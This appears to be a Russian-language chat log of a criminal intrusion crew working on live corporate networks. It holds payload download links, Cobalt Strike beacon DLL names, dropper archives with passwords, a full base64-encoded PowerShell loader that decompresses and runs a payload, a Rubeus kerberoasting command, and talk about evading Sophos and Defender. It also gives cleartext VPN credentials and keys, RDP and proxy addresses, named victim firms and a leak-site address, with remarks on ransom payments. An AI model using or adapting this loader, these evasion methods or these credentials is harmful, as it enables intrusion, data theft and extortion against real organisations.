ладно

http://temp.sh/HBEZa/away.js

js сразу уебал он

ебучий

http://temp.sh/bQoCW/000000000.exe

ага

еще какая

так

братец

помоги

смотри

есть мясница на 600 м

тачка по рдн

там ебучий софас

уже всю голову нам сделал

не знаю как позвать

бурито уже там с дебагером сидит

пытаеться позвать

нихуя

может в айпику как то его затянть какой либо нагрузкой можно ?

инжектор туда накатить который в айпике встроен

и заинжектить в процесс кобу

спрататься на свхост или винлагон

что думаешь , помоги)

деф еще заорал на ехе

от даргейта

сейчас удалю деф оттуда)

http://temp.sh/nEslu/msi123.msi

beacon

?

есть еще варианты ?

удалил

бля там еще у дефа клауд был включен

ну что скажешь

beacon_x86.dll

artifact_x86.dll

вот эти сделай

ага

давай

скажи как тебе надо будет на рдп

заходи

не понял

все отрыто там

заходи на рдп

85.239.60.107:56777

ты не туда зашел

85.239.60.107:56777

вот сюда надо

заходи

посмотри где ты

меня с рдп не кильнуло

_)))

проверь )

ты не там

выйди

заходи

там мультиссесия

там все открыто

вот сейчас презайди

все долно норм быть

збс

пробуй

мультисессия

давай

жду

WithCountryCheckedAccessJuniperVulnerable.txt

`Canada https://158.85.67.156:8443 jkey vM476KU_y3Q' ssh 158.85.67.156 jkey vM476KU_y3Q'`

Снимок экрана 2023-11-18 в 22.38.49.png

ага

вот прочитай

подумай

как сделать лучше

ладно не на 4е месяца )

как было ранее )

эндпоин протект это пиздец

> <@w:matrixtcFJHPDblmt2rg.network> что на 4 месяца?

да

деф уже удалил

ну можешь мне дать фаил я скажу )

а дроппер от моего лоадера запускал ?

dropper_GG10FR_f0adda360d2b4ccda11468e026526576_MJW0E7sBJ.zip

PASS: d9ef790a14d3c015e1797adc5047de79

нету в кобе

обе посмотрел

ты куда звал ?

в днс ?

если в днс то надо ждать

процесс есть ?

не удалило ?

> <@w:matrixtcFJHPDblmt2rg.network> на scanner.to чистый софос

он слабый

ага

но зато висит

dns_4

ведь ты запустил ?

запусти дроппер который я скинул

еще

ждем

нету

жду

значит там днс долгий

ждем

до 20 минут

до 30 даже

бурито там уже по РДП СИДИТ))))

софос через дебагер пытаеться мне позвать в кобу

++

пришел

хариджонсон

инжект делаю

ПРИШЕЛ НАХУЙ)

дааа

инжект поставил

жду

хром ты закрыл ?

процессов не вижу а то

хари джонсон какой то

там тачку не так зову

но софос есть

может он подмену делает

запуск какой ?Ю

EngVers.dll

https://scanner.to/result/MGGLDqq796

запусти плз rundll32 file.dll, Throw

щас

сдох

надо еще раз звать

в кобе это

на днс

> <@burito:matrix.bestflowers247.online> да, у меня процесс завершился

надо снова позвать

нет

не успел

надо снвоа звать

понял

позови еще раз

не пришло

не пришел

нет

сразу хавает софос

paessler.com.txt

superops.ai_cleaned.txt

есть еще мысли ?

ааа

не знаю

я не на рдп

юурито там

да

но он от инжекта умер

вообще оставляю тебе rdp до утра

придумай как мне его позвать

утром приду хочу поработать с этим ботом

ты запускал ?

ты криптани дроппер и запусти его

может он ко мне в леадер приджет

круто, сейчас уже не вникну но с утра все прочитаю и вникну

> <@usernamegg:matrix.bestflowers247.online> sent a file.

rundll32 file.dll, Throw

хорошо, серт у тебя есть

завтра пустим уже траф ?

чисто по юсе канаде давай

ой

у меня уже в голове что завтра понедельник

я то ведь работаю

никуда не ухожу

потестить

что бы в пн уже по боевому запустить

у меня самочувствие не очень хорошее правда

ладно, прорвемся

выспаться надо

на мне два офиса )

они все без трафа сидят

я взял за них ответсвенность

надо нагрузить ребят

надо решить с траффом и дроппером

не в кайф впнки крутить

хотя вот сегодня выплата пришла с впн доступа

> <@w:matrixtcFJHPDblmt2rg.network> а с пики вообще хоть что то ожидается, там есть хоть те, которые готовы заплатить?

edc.dk

были надежды

но нет

подсветили их

maytec.de

тоже подсветили

http://stniiomyjliimcgkvdszvgen3eaaoz55hreqqx6o77yvmpwt7gklffqd.onion/

да

вот тут

выкладка даты через определенный срок

да, сказали нам ничего не надо нам похуй мы востановились а на дату похуй

это страна такая

.dk

muellerwaterproducts.com

вот сегодня эти ребята заплатили

> <@w:matrixtcFJHPDblmt2rg.network> Просто насколько я знаю, есть вроде 2 врианта почему не платят

https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg

https://www.youtube.com/watch?v=1Abt_Jpx2nM

ага

по этому они платят

еще может быть знаешь что

админы когда узнаю что приходил к ним пиздец

они на маленьких сетях быстро все переустанавливают и востанавливают из бекапов и урководство даже не знает что у них спиздили данные

ага

Снимок экрана 2023-11-19 в 01.03.22.png

все это работает ?

bank что это

vpn как искать креды ?

vpn ?

понял

я спать братец

добрых снова

до завтра

завтра буду тут с 10-11 по мск

выспаться хочу

добрых

придумай как запустить и обойти софоса

будет бонус с меня

++

++

попробуй

убить

я не пробовал

я тут

оба отработали с софосом ?

оба стучат нормально

скинь мне эти файлы

которыми ты позвал

епать

круто

это что

пришел

но ко мне в dns

сейчас тебе креды дам

```

два файла отработало

оба стучат

днс быстрый капец

круто

а там бы на таргетах запускать можно было удалено

и они бы приходили

автоматизируй это

да

pid 17596

а второй сам чекинь

я тут понаблюдаю чт оты деалешь

как двинешься на другую тачку снимешь кребы и тд я пойду спать

сейчас хешистов пропингую

тут ?

сейчас хеши будут

++

странно вообще мне ничего на мои команды не отвечают эти биконы

процеесы не дает

ты что не спишь ?

странно

почему ?

дети ?

++

точно

я своих отправил

дома один

збс

тишина )

да

вижу

на команды не отвечает

бывает такое

раздуплит сейчас как

за то у тебя есть два бикона правльные с правильным именем с этой тачки

удалось позвать

уркто

круто

скинь криптованные эти файлы которые зарустил

https://www.zoominfo.com/c/cygnus-home-service-llc/478997844

сейчас еще его позову

дам рдп

а давай на порт перезовем

сейчас сделаю другой два таких же пейлоага

и позовешь

а то не отвечает на команды

сейчас на порт еще Rick позову

artifact_x86_port23.dll

beacon_x86_port23.dll

вот два таких же только на порт

```

зайду на рдп

13.57.243.97:15012

вот еще сокс от этой сети

https://www.zoominfo.com/c/cygnus-home-service-llc/478997844

сейчас только что пришел ботинок

быстрее бери в работу

v celom tam nado bistro vse zdelat' mozhet sessiu uzer zakroet , no ya vostnovolyu ego cherez nekotore vremya , no na novom citrixe uzhe budet

> <@usernamegg:matrix.bestflowers247.online> sent a file.

на порт пришел

отвечает на команды

сейчас креды дам

COBA_23

спаун не пришел к тебе в кобу ?

unhook ???

все откис ?

снова звать ?

еще раз

не все успел

позови

сейчаас перезову

++

есть

еще один раза

на всякий случай

вдруг откиснет опять

стучит

я работают уже

еще раз позови про запас

у тебя там уже есть креды

админ ты с ними

скинь список компов проскань по ним

с этими кредами

главное уйти с этой тачки

движение надо

и фаил я дождусь криптованный

?

понял

Снимок экрана 2023-11-19 в 03.49.31.png

файлы нет для живжения по этой сети

только теми что есть выше

придеться ходить (

я ничего не притяну

[11/19 03:46:51] JJ beacon> execute-assembly Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat /outfile:C:\Users\Public\rub.txt

снимает думаешь ?

да

ну думаю на 98%

тачек

сканить

ставь

там ебать сеть должна настроенна

если это мясоеды

то эта та сеть которая заплатит

давай

тот дотсуп что выше тоже надо сейчас паралельно отрабатывать

так как он сдохнет быстро

FF пускай поможет

говори ему что делать , координируй его он поймет

ты зашел ведь на рдп ?

там впнка включена уже

давай

у тебя списка тачек нету еще

ну тачка сутчит которую вчера затянули ?

я тут

сейчс

привет

ну что там ?

я в баню поеду сейчас

https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg

изучайте

https://www.youtube.com/watch?v=1Abt_Jpx2nM

> <@usernameff:matrix.bestflowers247.online> ```

там был citrix

это как vnc

где хочешь можешь открыть

я выдал сразй свой рдп что бы не объяснять как устанавливать и тд

рдп не должен быть в домене (

цитрикс это корп прога которой пользуються почти все компании мира

через такой продвинутый vnc можешь работать в виртуалке на их сервере

я поехал в баню

через 4-5 часов вернусь, сяду работать буду выдавать вам таргеты

будьте на связи

что бы у вас был успех садитеьс проходить гуаде

надо повышать скил сейчас

все что было до этого это просто базовые знания которые вам дал VV

сейчас все сначала

по тому что другие доступы и другой вид раскрутки

либо вы учитесь и развиваетсь либо не будет успеха. это сейчас вся работа с нового листа с той ифраструктурой которую я выстроил за несколько лет, впн это новый белый лист , я говорю это серьезно.

я свои выходные трачу на вас а мог бы отдыхать, потому что хочу что был успех и вы смогли научиться крутить совсем другие виды доступов

завтра мы сядем основной командой и что не получилось у вас сделать , они сделаю 99% так как а) опыт, б) постоянно изучение нового матерьяла и неоднократное прохождение лабы.

* завтра мы сядем основной командой и что не получилось у вас сделать , они сделаю 99% так как: а) опыт, б) постоянно изучение нового матерьяла и неоднократное прохождение лабы. Сейчас все по новой и высе сначала, просто поймите это, надо сейчас сидеть будет очень много и очень плотно. Впн, это слепой котенок который тыкается в пустоте разыскивая куда присосаться.

* завтра мы сядем основной командой и что не получилось у вас сделать , они сделаю 99% так как: а) опыт, б) постоянно изучение нового матерьяла и неоднократное прохождение лабы. Сейчас все по новой и все сначала, просто поймите это, надо сейчас сидеть будет очень много и очень плотно. Впн, это слепой котенок который тыкается в пустоте разыскивая куда присосаться.

понятно

я к 10 утра

тебе к 12

кошель оставь еще

сейчас

ты тут ?

JJ

ответь в личке

вот

дай мне снова рдп

и открой там тачку с софосом

> <@w:matrixtcFJHPDblmt2rg.network> Щас вот MSI буду делать, завтра запустимся

подписывать надо будет сертом

рдп тоже не открывает ?

[19:57:21] YD - SMTP логи : привет

ушло

> <@usernameyy:matrix.bestflowers247.online> остальыне ко скольки?

$$ ночью сегодня приедет

> <@usernameugway:matrix.bestflowers247.online> бро привет, по нагрузке есть надежда?

я пока жду

надо ждать да

я тут сплю

не далеко

вместе можем поехать

напишу

добрых снов

погоди

edc.dk

что там скинули за фаил

смотрел ?

а HH где ?

скинь мне доступ я проверю все

не помню уже какой конкретно

австралия же там была

++

доступ

все нашел

https://vpn-portal.wmb.midfieldgroup.com/userportal/webpages/myaccount/login.jsp

да

я про них

биконы тоже все убиди ?

не стучат ?

доброе

я посмотрел

доброе

доброе

```

!!!

думаешь ? )

ща ребутнусь а то все глючит

ХХ тут ?

VV приехал ?

хорошо

js да

видимо сейчас по европпе запустим

да

выдал ему ссылки говорит ?

ок

> <@lapa:matrix.bestflowers247.online> с junos продвинулись?

написал уже с утра ему

> <@lapa:matrix.bestflowers247.online> может эксель попробывать прослать, если получится у саппа может собрать чистый?

https://www.zoominfo.com/c/cygnus-home-service-llc/478997844

++

супер

теперь найти бы что слать

shell ot rpd 13.57.243.97:13968

shell pomnish kak podklyuchitsya ? s putty ptichku raw stavish i go

++

[12:24:14] AA: да

билди

port23.rar

http://temp.sh/WEQJJ/then.js

http://temp.sh/dfkDO/msi.msi

dropper_GG11MO_f0adda360d2b4ccda11468e026526576_H86DZ.zip

dropper_GG11MO_f0adda360d2b4ccda11468e026526576_H86DZ.zip

смылс какой ?

повешлее надо делать

js не надо

давай повершелл приходит

нужен любой фаил который будет запускаться через повершел

сейчас js на сетке стартанул

хуй

его блочит

я обзор еще смотрел

wscript.exe

`powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABiAFcALwBpAE8AQgBEACsAWABIADYARgBQADEAUgBLAG8AZwBVAGEAUwBFAHQAaABUAHkAcwB0ADcANABSAEMAQwBvAFIAUwBLAEkAZQBRAFMAVQB3AEkASgBIAEgAaQBPAEUAQwA0ADMAZgA5ACsAZABuAGcANQA5AHIAYQA5AFcAKwBtAHUAVQBvAFEAOQBuAGgAawAvADgAMwBqAEcANAArAHEASQBaAG4AUgBLAGIASQBOADIAcwBZAGwAQQBaAG8AUgBJAGEARwBNAFAANQBGAE8AcAAyAHgAcABXAEsAZgBnAEMAdgBnAHEAcABaAGUAUQBaAGwASQB2ADUAWQBHADQAaABPAHYAYwBKAE4AdQBiAFEATgBBAGsASwBRAC8AQgBIADYAcQBZAEgAQwBYAFMAQgBlAEwAdQBGAFoATwA1AGkATQAzAEoAUQBHAGkAUQBUAHIAbwBqAE0AaQBDAEQAcAA1AGkAWgAxAGsANABnAGkATAA0AFIATABOAFAAYwBnAHQAYgBkAG8ANwBpAEsANgB3AG0AYgBJAE4AaABLAG4AWgBkACsAdgBZAFIAZgBhADMAdQB6AHoANQAyAHAARQBDAFAATABvAGMAWgA1AHQASQBsAG8ATwBRACsAUQB1AEgAQgB1AEYAbwBnAFMAKwBnAGQAYwBWAEkAaQBqAHoAdgBGAGcAagBnADQASQAvAHcATwAwADgAMgAzAFQAdwBBAGoAbwBuAHQAYgBnAEsAagBSAFUATABxAE8AeQBaAGYASwAyAEQARABjAGcAagB5AE8AcQArAFkAMQBOAFIAKwBQADEAMwBRAFoAcABtAGMAcgBOAHMAUABZAGkAZwBFADQAcQBDAEgAbwBjAFUAdQBWAG4AVABjAFEAUQBKAGYASgBmADQAaABzAFAAWQBSADYATABRAHQAUQAyAEMAUQA3AHkAawAyAFYAZgBiAFUALwBMAFoAbAB3AFMAOQBsAG8ARAB2AEgAcgBFAEwAMABpAGsAeQB5ADQAYwBzAGoAbwArAEQANQBGADYAUABOAHEATABBAGgAagAzAEcAVABmAG4ASQBvAFoAQQBHAFUANwA3AGYAZABEAFkARABYAHkAOQBvAEIAcABGAEgAYgBSAGQAbABWAFkAOABpAGcAbgAwAGQAawBhADEAdABvAEQARABiAGcAcAA3AHAAbwBBAEYAYQBNAGoATQBoAFoATQBmAG4AVwBZAEwARQBRAEIAQgBFAEkAKwBLAEIATQB4AFoAbQB0ADgAVQBiAEoATgA1ADYAawBlAE8AawBtAGQALwBwAHIALwBxAGQAaQBSAHIAYQBuAGMAbgA5AFYAUwBQAHgAMgBvAGgAcAA5AFMAaQBSADAAcQBlAGMAKwBCAFUANgB1AGsAbgBlAEgATgAyAHgAYwBIADUAQwBmADUAVgBjAEUAdgB2ADcASwBjAEcAawAxAFAAZgBVAE8ANgBsAHEASQBnAGQAWgBrAEsASQA1AFoAZgB4AGUANQBXAHIAcQA1AG0AYQBhAEQAQgBHAEwAUgArAHoAaAAwAEUANwBzAHYAZwBBADUARABiAG8ATQBCAEsAUwBZAHgAUAB3ADQAaAB5AFIAQwAwAHUAeQB2ADgAegBsAHUAZQA3AFkATQAwAHgAOAA2AHkAcAAyAHQAVABqAGIASAA0AHoAbgBpACsAQQBLAG0ASQAyAHkAYgBzADkAUwBOAGwARABwAGwARAA1AGYAUABGADUASAB0AG0ASQBqAHcAOQBZACsAcgBvAFkAYQBXAHQAbwBkAHEAcwBRAGQAZAAyAHoAZwBuAHYAUABqAGUAbQBhAEcAbABnAHgASQArAHMAbQBjADEAagBlAEUAVQBoAGQATQBDAE0AbQBzAG4AZABnAFIATwA2AFAAUgBuAHMANwBwAHIAMAA0AHQAdAA1AFEAaQB1AGIATABCAHoARAB4AGsAcQBsAGgATABTAGoAMgBDAE8AWgB5AGcASwBxAHQAZABGAEwAdQBQAHYATwBHAGQAcABlAHIAdABrAFoAWQBiAE8AMgBxAGYAUwBpAHMAKwA3ADgAegBuAFAANQBhAG8ARAB3AHoAQQBOAGUAaABHAHIAYwB5AE0ATgBkAEEAUQBkAFoASwBaAEIAMgBRAHYAdAAwADEASQA1AG8AagBnAFoAQwBuAC8AQgA3AFUAWQBPAHQAUQAwAFkAMAByAE8ANwBtAGYAUQBPAHAAYQBlAHQAcQA5AGgAagBGAFIATQBaADcASABRAFoARABVAFAAZABSADQAWQBOAEgAYwA1AEsARwByAFIAcwBFADEAVgBpADMAYgBiAE8ARQBJAFIAMwBPAGEAbABDAHgAMgBFAGwAeAB6AHgAdAAyAFoAawB3AEMAZQBkAEMAcAB6AHgAbgBpAEoAbgArAGUAMwA1AEkAVwBSADEAUgAxAGYAVQBkADUARABMAHQANQBCAFoAcQBPAE4AQgBpAGQAOAA2AHAAbwBwAEoAMABnAHgAWQB5AGgAWAArAEEAZgBhADYAVABZADEARgB3AHIAcwA0AGsAWABZAEYAbQBDAGEAQQA3AG0ASwBiAEIAeQBDAGEAVQAzAFcAdABDACsAcQBmAEUAKwAyAC8AdwBmAHIAeABpAGYAbwBCAFoASgBlAGgAMABrAEcASgBTAGkATgBOAEsAVABIAG0ANQBKAEoAbwBHAGIAeQA1AGYATABsAHcAbQB6AEIASABLAFcARwBzAFEANwBGAFoAZwBpAEEAcgAzAGUAbgBLAE4AaQBZAEoAUwBqAEEASQAxADcAcQA3ADcAQgBkAEsAcwBiAHgAdQB0AG8ARgBVAGYAcwBtAC8ATABQAGkAVgBvADEARAB1AGQAOQBzAEMAdgBEAEQAcABHAFAAWAByAHUAdABlAFQAMgBVAHUAMABYAGEALwBmAFIATABsAEsAagBZAFUAVgBXAEcAagBMAFQATwB3AFQATgArAGwATABkAFAAdQBOAEoATABuAEwAdgBjADYAYQB2AGIAagBVAG0AQwB4ACsARABWAGwAaABUAHQANwBWAHkASwB4AC8AZwBSAHMARwB5AFMAeQBjAC8AUgAvAHYAKwBZAHAAZABiAGoATgBYAEcANAA2AEwAWgB1AEcAKwBOAHcAZwBiAFgAYgA2AG4AYgBTAGkATwBvAGwAagBBAGIAMwA2AG4AYgBLAG0ANAB6AHUAMgBMAEIAOQB5AG8ANwA4AHgANwBWADIAdwBVADAANwBoAGcANwBoAFIAWQBSAHQAUABiAHgAMAArAGgAVABQAGQATABhAGsAdwBmAGoAbwBNAGYAZABnAHgAcAByAEgAVQBYAGIAYgBWAFIANQBzADkAYQBWAHEARwBWADAARgAwAFkAcABxAEsAMABuAEIAYgBJAHgAOQBwADMAMQBKAHYAYwA4ADEAagAyAHQATQA1AEIAegAvAGIANQBuAGQAaABhADUAZgBxAE8AdABIAGYASgB1AFgAVgAyAHIAYwBVADkAOQBiAFUAWABCAEEANgB4ADEASgA2AFYAUABjAE0ASQA0AFUAVQB2AFYAVgBrAEEAagBLADgANQByAGEAMQB4AGEAdgBZADAASAB6AFUAbgBmAFoAdgBKAEMAKwBEAGcAcABXAEkAKwBUAHAALwBBAHgAawBRAC8AZAA5ACsAVwA2AGYAcABIAEQAZgBIAFEAWgBCADcAUQBhAFAASQB6AE4AZQA5AHkAMQBQAEsATwArAFcAZgBOAFAAegA0AGMAcgBoAHIALwBkAFYAYgBTAE8AagBvAEsANwBBAGoAMwBrAC8AVQBoADcATgBRAEkAeQBoAEEALwBsAGQAWABDAGcANgA2AEQAUwBVADEAKwBLADAAVgByAFIARABvAFkAcQB0ADYAdAA5AEsAOQBlAHAAdgBaAGoAYQBTAHoAbgAzAFAASwB6AG4AbgBrAGIAeQBmAHYARABTADgAUABzAGoAKwBlADIANQA5AHAASgByAGoAdQBMAHUAdAByAG8ATwBYAGsAdAB2AFQAOQBGAEkAcwA5AC8AMgBkAGIAbQB6AGcAdABBAHoARABxAFcANABlAFcAYwA5ADQAMABXAGgAMABTADkAVQBPADkANQBnAFYAWABKAEsANwBrAEoALwBZAG4AcwBWAEwARABJAEoAUQBvAEoATABmAG4ARwBzAEQAegByAHkAQQA2AHkAWQA1AGkARwB2AEYAOABNAGQANQAvAGUAdAAxAEgAMwBkAGwAUQA3ADUAZwBEADcAagBwAHcATABCAHMAVgBVAHoARgBDADMAZQA1AE0AYwB4AGYAcQB0AEYAVgBqADUAdQB2AHoAYQBEADIAcQBaAFgAcwBBAHkALwBsAHcAOABVAHUARgBwAFcANABsAEEAdgArAEIAMQBEAFYAawAzAFoAYgBBADAAcwBYADMAUAAyAFoAcQB0AHEAeAArAGEATwA4AGEANwB0ADkAWgBLAHgASgB1AGoATwBLAEgAbQByAEkAaABvADgARwBqAHcAZgB4AC8ASAB3ADYAVQA1AFQARABPAFcASgB5AEQAagBxAGUAMQB5AG0AZABQAHQAbAA5AFgANgAzADUAWgBXAHgAeABJAFQAMQB1AGoAMwB2AEgANwA4AEIAOQBwAHQAeABLAEwAagBrAFAAcwB0ADQAVgBrAHgAYwAvAHUAbQBUAHgASAB2AFEAWgBXAFYANgB1ADUAKwBkADMAdwB5AFgAZQBXAGEAeABaADkANgBVAEIAMQA1AEgAeQBjAG8AVwBYAGwAWABQAFIANAAyADQAQwAwAG0ANABnAGcANgByAEsAdABaAE0AegAxAGQAaABBADUAUABHAHEAUwBYADIAcwBNADAAdABSAFAASAA5AFYAOQB3AEcARQBRADgANQA3AEkAWABEADMAawBEAG4AQwA2AFQAcwBPAE4AagBnAFQAZgB5AEQAYgBzAHEAZQBGAE0AZABHAFAAMgBNAFgANQBRAHMAYgBLAHYAbAAzAFIAeABLADQASwBMAEwATwBmAFkAeABwAEUAUwAyAFgAUwBhAE0ANwBSAFgAagB1ADkAMgBmAEYAegA1AC8AZgBXAEgAagBwAEsAeABJADcAeQBMAFAAbwBLAGcAMwBrAHYAUwBMAEwATQB2ACsAOQBsADYAWABVAHIAOQBOAFMAeABYADQAcwBYAHQAeQBsAGUAYQBPAC8AUQBuAEsAOQBrADUAUABzAEoASgAzAFkASgA1AEgAbgBvAHYALwB4AEEASAA3AFkAOQBOACsAcAA1AGUAUQBsAGIANABVAEwAZABRAG0AZwA5AC8AbQBTAFUAcwBMAFgAVgBFAHAAZABnAGkAdAA1AGEAQgAvAFkAUwB4AGcARgBvAEoAagBrAFgAawBnAGgAbwBaAGsAMQBYAHIAQgBuAGMAOQBJAEgAeABGAHMAbwBBAGIAVQArAEIAcgBjAFEAZgBBAGMAWgBGAGwANAA1AFYAUABMAHMANwBVAHkAcwBpAEQAYwBGAGMAUAB4AFgANABCAHYAWQBRAGYAdABvACsAQQAwAE0AawBJAEgAWQBVAHkANwBUAHgAZwB1AFcAcABZAGoAMQBkAHUANAA2AGMAYwBLAFYAbQBlAHgAUAAwADAAUwBpAFMAVgBzAE0AQQBBAEEAPQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==`

вот он отработал у меня без проблем

и на сетках он работает в 99% случаем глянео что бы его ав не палил

js блочат на сетках

Снимок экрана 2023-11-20 в 12.44.38.png

wscript.exe

его блочат на сетях

сейчас вот он запущен но не пропустил запуск у меня

я пробовал позвать тачку в другой сети

заходи

да

потому что его блочат

я обхоры смотрел

все

его фиксанули

поднимаем да

PASS: c83fe58088ef5f05342367e71eb28873

вот

PASS: c83fe58088ef5f05342367e71eb28873

ps1 как заупскать они будут ?

сейчас скину тебе от кобы ps1

http://temp.sh/RPEUq/payload_x86.ps1

Снимок экрана 2023-11-20 в 13.07.56.png

Снимок экрана 2023-11-20 в 13.08.05.png

> <@lapa:matrix.bestflowers247.online> TrojanDropper:PowerShell/Cobacis.B

он коббу детектит

ну дак он стартовать должен

Снимок экрана 2023-11-20 в 13.07.56.png

Снимок экрана 2023-11-20 в 13.08.05.png

давай придумаем c ps1 нагрузку чистую

да

ну ыт понял по счет js ?

сейчас сетевика к вам обратно отправлю

1.7z

1.7z

++

Готово. Строка: snauidh718iuaksd

коба ребутнулась

ща проверю

> <@muaddib6:matrix.org> sent a file.

++

> img- http://temp.sh/AuOFW/sinus.img

смотри

расковырять сможешь ?

а то чел не в адеквате

я проверял в пятницу с дефом было чисто

нет

он не в адеквате )

доступу с впнки заплатит который угнали с анубиса с чужих логов )

скинешь кошель , закину тебе $

da

помню

блин фигово

а на долго ?

Снимок экрана 2023-11-20 в 14.14.43.png

> <@lapa:matrix.bestflowers247.online> 5 раз прочитал, не понял)

там мы прошуршали логи

нашлти доступ к впнке

подключил

раскрутили сетку

поставили

они заплатили )

я иногда быстро пишу и сложно очень, мылей много

но информацию как то нужно дать быстро

`https://connect.muellercompany.com/global-protect/login.esp muellerflo\juhrich.ctr 3tk6g!ArtxpJG4bD`

вот так

именно тот который сделали

(

есть софтинка

которая чекает всякие рдп впн доступы

мне слогов выгребают тоннами просто эти доступы

надо поставить на чек с соксами

вот поставил на винду

Снимок экрана 2023-11-20 в 14.21.16.png

перезагрузи роутер

у нас тоже так было в 10 утра

время 14 ты только приехал ?

vv звоню в 13:00 вообще в кальянке сидит курит кальян сидит

я хз как вы что то заработаете так

пускай садяться лабу проходят

про спам вообще забудьте

больше не будет ботов со спама

сиди разбирайся с vpn доступами

пока лабу не пройдут ребята и ине зучат как там все рабоатет , доступов не будет.

Снимок экрана 2023-11-20 в 14.23.54.png

хх пришел в 14 на работу